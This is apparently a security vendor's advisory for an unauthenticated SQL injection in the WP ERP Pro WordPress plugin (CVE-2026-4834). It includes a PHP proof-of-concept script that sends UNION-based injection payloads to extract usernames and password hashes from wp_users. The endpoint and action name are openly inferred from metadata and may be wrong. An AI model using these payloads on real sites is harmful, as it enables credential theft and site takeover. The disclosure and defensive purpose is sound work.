Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 21, 2026

CVE-2026-4834: WP ERP Pro <= 1.5.1 – Unauthenticated SQL Injection via 'search_key' Parameter (erp-pro)

CVE ID CVE-2026-4834
Plugin erp-pro
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.5.1
Patched Version —
Disclosed May 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4834 (metadata-based): This vulnerability affects the WP ERP Pro plugin for WordPress, versions up to and including 1.5.1. It is an unauthenticated SQL injection via the ‘search_key’ parameter. The CVSS score is 7.5 (High), with network-based attack vector, low complexity, no privileges required, and no user interaction. The impact is limited to confidentiality (high), with no impact on integrity or availability.

Root cause: Based on the CWE-89 classification and description, the likely root cause is that the plugin passes user-supplied input from the ‘search_key’ parameter directly into a SQL query without proper escaping or parameterized statements. The description confirms insufficient escaping and lack of preparation on the existing SQL query. Atomic Edge research infers that this vulnerable code resides in a database query function, likely in a model or repository class for an ERP entity (e.g., contacts, customers, products) that uses the ‘search_key’ parameter to filter results. Unauthenticated access indicates the endpoint lacks proper capability checks or nonce verification.

Exploitation: An unauthenticated attacker sends a request to an AJAX handler or REST API endpoint exposed by the plugin. The likely endpoint is a search action, such as /wp-admin/admin-ajax.php?action=erp_pro_search or a custom REST route under /wp-json/erp-pro/v1/. The attacker supplies a malicious ‘search_key’ parameter containing SQL injection payloads, for example: ‘search_key=test’ OR 1=1– – or ‘search_key=test’ UNION SELECT user_pass,user_login FROM wp_users– -. The injection occurs because the parameter value is concatenated into a SQL query without proper sanitization or prepared statements. The attacker can extract sensitive data like user credentials or other database contents.

Remediation: The fix requires replacing unsafe SQL query construction with parameterized queries using $wpdb->prepare() or WordPress’s query methods that support placeholders. All user-supplied input, especially the ‘search_key’ parameter, must be properly escaped and validated. The plugin should also implement proper authorization checks (e.g., nonce verification and capability checks) on the affected endpoints to prevent unauthenticated access. A comprehensive review of all database queries in the plugin using the ‘search_key’ parameter is necessary.

Impact: Successful exploitation allows an attacker to extract sensitive information from the WordPress database, including user credentials (hashed passwords), emails, session tokens, and other confidential data. This can lead to full site compromise if the attacker cracks admin password hashes or uses stolen session tokens. No authentication is required, making the attack accessible to anyone with network access to the vulnerable WordPress site.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4834 - WP ERP Pro <= 1.5.1 - Unauthenticated SQL Injection via 'search_key' Parameter

// Assumptions:
// 1. The vulnerable endpoint is an AJAX handler at /wp-admin/admin-ajax.php with action 'erp_pro_search'
// 2. The 'search_key' parameter is sent via POST and vulnerable to SQL injection
// 3. The plugin uses wpdb->prepare() incorrectly or concatenates input directly
// 4. The injection allows extraction of data from the wp_users table

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change this to the target WordPress URL

$payloads = [
    "test' OR 1=1-- -",
    "test' UNION SELECT user_login,user_pass,user_email,user_registered FROM wp_users-- -",
    "test' UNION SELECT @@version,2,3,4-- -",
];

foreach ($payloads as $payload) {
    $post_data = [
        'action' => 'erp_pro_search',  // Inferred action name; adjust if different
        'search_key' => $payload,
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'User-Agent: Atomic-Edge-PoC/1.0',
        'X-Atomic-Edge-Research: true',
    ]);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only; set to true in production

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($http_code === 200 && !empty($response)) {
        echo "[+] Payload successful: $payloadn";
        echo "[+] HTTP Code: $http_coden";
        echo "[+] Response snippet: " . substr($response, 0, 500) . "nn";
    } else {
        echo "[-] Payload failed: $payload (HTTP $http_code)n";
    }
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School